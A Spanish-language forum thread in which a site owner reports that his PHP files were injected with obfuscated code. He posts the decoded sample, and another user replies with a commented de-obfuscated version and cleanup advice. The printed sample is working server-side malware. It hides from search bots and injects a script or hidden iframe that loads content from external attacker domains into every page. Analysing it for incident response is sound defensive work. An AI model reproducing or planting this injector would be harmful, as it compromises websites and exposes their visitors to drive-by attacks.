elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado:


+  Foro de elhacker.net
|-+  Programación
| |-+  Desarrollo Web
| | |-+  PHP (Moderador: #!drvy)
| | | |-+  Virus en PHP?
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Virus en PHP?  (Leído 2,182 veces)
Cergath


Desconectado Desconectado

Mensajes: 340



Ver Perfil
Virus en PHP?
« en: 3 Mayo 2010, 21:49 pm »

Bueno, mas que virus es una cuestion extraña que me sucedio..

Todos los archivos php que tengo en el server de repente aparecieron con un codigo cifrado al principio:
<?php /**/ eval(base64_decode("aWYoZnVuKCFm

Ejemplo:
<?php Codigo Cifrado ?>
<?php Codigo PHP Normal ?>

Bueno, no es el codigo exacto, lo que sucede es que de repente todos los archivos aparecieron así y no se si fue un intruso... ¿de que manera lo hizo? pudo ser en php? de que otras formas más?

esta afectando el funcionamiento de algunos archivos.. no todos..
gracias

edit, otra cosa, los archivos que tampoco tienen el codigo cifrado, tambien dejaron de funcionar, al parecer fue un "ataque"... como hago para comprobarlo? :S.. tampoco es que este "molestando" como para que me vengan a atacarme... quien sabe por que sucedio

edit2, codifique un archivo:
Citar
if(function_exists('ob_start')&&!isset($GLOBALS['mr_no'])){   $GLOBALS['mr_no']=1;   if(!function_exists('mrobh')){      if(!function_exists('gml')){     function gml(){      if (!stristr($_SERVER["HTTP_USER_AGENT"],"googlebot")&& (!stristr($_SERVER["HTTP_USER_AGENT"],"yahoo"))){       return base64_decode("PHNjcmlwdCBzcmM9Imh0dHA6Ly9rZGprZmpza2Rmamxza2RqZi5jb20va3AucGhwIj48L3NjcmlwdD4=");      }      return "";     }    }        if(!function_exists('gzdecode')){     function gzdecode($R5A9CF1B497502ACA23C8F611A564684C){      $R30B2AB8DC1496D06B230A71D8962AF5D=@ord(@substr($R5A9CF1B497502ACA23C8F611A564684C,3,1));      $RBE4C4D037E939226F65812885A53DAD9=10;      $RA3D52E52A48936CDE0F5356BB08652F2=0;      if($R30B2AB8DC1496D06B230A71D8962AF5D&4){       $R63BEDE6B19266D4EFEAD07A4D91E29EB=@unpack('v',substr($R5A9CF1B497502ACA23C8F611A564684C,10,2));       $R63BEDE6B19266D4EFEAD07A4D91E29EB=$R63BEDE6B19266D4EFEAD07A4D91E29EB[1];       $RBE4C4D037E939226F65812885A53DAD9+=2+$R63BEDE6B19266D4EFEAD07A4D91E29EB;      }      if($R30B2AB8DC1496D06B230A71D8962AF5D&8){       $RBE4C4D037E939226F65812885A53DAD9=@strpos($R5A9CF1B497502ACA23C8F611A564684C,chr(0),$RBE4C4D037E939226F65812885A53DAD9)+1;      }      if($R30B2AB8DC1496D06B230A71D8962AF5D&16){       $RBE4C4D037E939226F65812885A53DAD9=@strpos($R5A9CF1B497502ACA23C8F611A564684C,chr(0),$RBE4C4D037E939226F65812885A53DAD9)+1;      }      if($R30B2AB8DC1496D06B230A71D8962AF5D&2){       $RBE4C4D037E939226F65812885A53DAD9+=2;      }      $R034AE2AB94F99CC81B389A1822DA3353=@gzinflate(@substr($R5A9CF1B497502ACA23C8F611A564684C,$RBE4C4D037E939226F65812885A53DAD9));      if($R034AE2AB94F99CC81B389A1822DA3353===FALSE){       $R034AE2AB94F99CC81B389A1822DA3353=$R5A9CF1B497502ACA23C8F611A564684C;      }      return $R034AE2AB94F99CC81B389A1822DA3353;     }    }    function mrobh($RE82EE9B121F709895EF54EBA7FA6B78B){     Header('Content-Encoding: none');     $RA179ABD3A7B9E28C369F7B59C51B81DE=gzdecode($RE82EE9B121F709895EF54EBA7FA6B78B);       if(preg_match('/\<\/body/si',$RA179ABD3A7B9E28C369F7B59C51B81DE)){      return preg_replace('/(\<\/body[^\>]*\>)/si',gml()."\n".'$1',$RA179ABD3A7B9E28C369F7B59C51B81DE);     }else{      return $RA179ABD3A7B9E28C369F7B59C51B81DE.gml();     }    }    ob_start('mrobh');   }  }


« Última modificación: 3 Mayo 2010, 21:56 pm por Cergath » En línea

Embusterillo de bolsillo


Desconectado Desconectado

Mensajes: 1.333


Yo-jo Yo-jo Un Pirata Yo Soy ♫♫


Ver Perfil
Re: Virus en PHP?
« Respuesta #1 en: 3 Mayo 2010, 22:24 pm »

Pero si me tienes ahí al lado bro ¬¬
Por lo que veo es un malware. El código del hack, con las variables sin ofuscar:

Código
  1. // Since this hack depends upon the ob_start() function, it does nothing if
  2. // ob_start() is not defined. The 'mr_no' global is a flag to ensure we only run
  3. // this code once per page.
  4.  
  5. if (function_exists('ob_start') && !isset($GLOBALS['mr_no'])) {
  6.  
  7.  // Set flag to indicate we've already added the hack code.
  8.  $GLOBALS['mr_no'] = 1;
  9.  
  10.  // Another duplication check
  11.  if (!function_exists('mrobh')) {
  12.  
  13.    // Define the gml() function, which returns the string with the malicious code
  14.  
  15.    if (!function_exists('gml')) {
  16.      // gml() returns malicious javascript code -unless- the requester is
  17.      // Google or Yahoo. It doesn't want the bots to see the hack because
  18.      // they'll take action on it. Here is the malicious javascript code in
  19.      // unescaped form:
  20.      //   document.write('<iframe src="http://bibzopl.com/in.php" width=1 height=1 frameborder=0></iframe>');      
  21.      function gml() {
  22.        if (!stristr($_SERVER["HTTP_USER_AGENT"],"googlebot") && (!stristr($_SERVER["HTTP_USER_AGENT"],"yahoo"))) {
  23.          return '<script language="javascript">eval(unescape("%64%6F% [...snipped...] %29%3B"))</script>';
  24.        }
  25.        return "";
  26.      }
  27.    }
  28.  
  29.    // Ensure there is a gzdecode function. Since gzdecode is a PHP 6 function,
  30.    // we will almost always use this version. Note that this version differs
  31.    // from the PHP 6 version in that it just returns the input string if the
  32.    // string is not already gzip encoded. Thus, in PHP 6, this hack is broken
  33.    // for gzip encoded pages.
  34.  
  35.    if (!function_exists('gzdecode')) {
  36.      function gzdecode($input_str) {
  37.        // Assume it is gzip encoded and set the gzinflate start position accordingly
  38.        $ascii_third_char = @ord(@substr($input_str, 3, 1));
  39.        $start_pos = 10;
  40.        $unused_var = 0;
  41.        if ($ascii_third_char & 4) {
  42.          $tmp = @unpack('v', substr($input_str, 10, 2));
  43.          $tmp = $tmp[1];
  44.          $start_pos += 2 + $tmp;
  45.        }
  46.        if($ascii_third_char & 8) {
  47.          $start_pos = @strpos($input_str, chr(0), $start_pos) + 1;
  48.        }
  49.        if($ascii_third_char & 16) {
  50.          $start_pos = @strpos($input_str, chr(0), $start_pos) + 1;
  51.        }
  52.        if($ascii_third_char & 2) {
  53.          $start_pos += 2;
  54.        }
  55.        // Now unzip the input string. If it fails, we assume the input string
  56.        // is not compressed and just return the original input string.
  57.        $retval = @gzinflate(@substr($input_str, $start_pos));
  58.        if($retval === FALSE) {
  59.          $retval = $input_str;
  60.        }
  61.        return $retval;
  62.      }
  63.    }
  64.  
  65.    // This function takes the un-hacked page output and inserts
  66.    // the malicious code. It is configured by ob_start(), and is
  67.    // called with the buffered page text as input.
  68.  
  69.    function mrobh($page_output) {
  70.      // We are sending the output in plain text, so be sure to change the
  71.      // content encoding to indicate that.
  72.      Header('Content-Encoding: none');
  73.      // If the output is compressed, unzip it
  74.      $hacked_output = gzdecode($page_output);
  75.      // Append the malicious code at the end of the page, or just before the
  76.      // HTML </body> tag (if one exists)
  77.      if (preg_match('/\<\/body/si', $hacked_output)) {
  78.        return preg_replace('/(\<\/body[^\>]*\>)/si', gml() . "\n" . '$1', $hacked_output);
  79.      } else {
  80.        return $hacked_output . gml();
  81.      }
  82.    }
  83.  
  84.    // This statement forces output to be buffered and tells the PHP
  85.    // processor to call the mrobh() function (defined above) when
  86.    // page processing is complete.
  87.  
  88.    ob_start('mrobh');
  89.  }
  90. }
  91.  

Por lo que se ve lo que hace es ejecutar un frame como output en html, de un script en un sitio web.

Y al parecer es un troyano, lo que sugiero es, limpiar todo el sitio web, eliminando todo, y reinstalando todo, ya que pueden haber backdoors y sería nuevamente infectado el sitio.

Contacta con tu proveedor para que escaneen el servidor, y haz los respectivos cambios de seguridad, en htaccess por ejemplo, protegiendo los directorios, asignando correctamente los permisos, cambiando passwords.

Un saludo!


« Última modificación: 3 Mayo 2010, 22:55 pm por Danfelbm » En línea

Absence makes the heart grow fonder.
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
cd.montiera.com es un virus?
Seguridad
assw1208 2 3,026 Último mensaje 8 Noviembre 2020, 23:01 pm
por assw1208
¿virus?
GNU/Linux
FreeCellnet 2 2,894 Último mensaje 27 Noviembre 2020, 21:51 pm
por r32
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines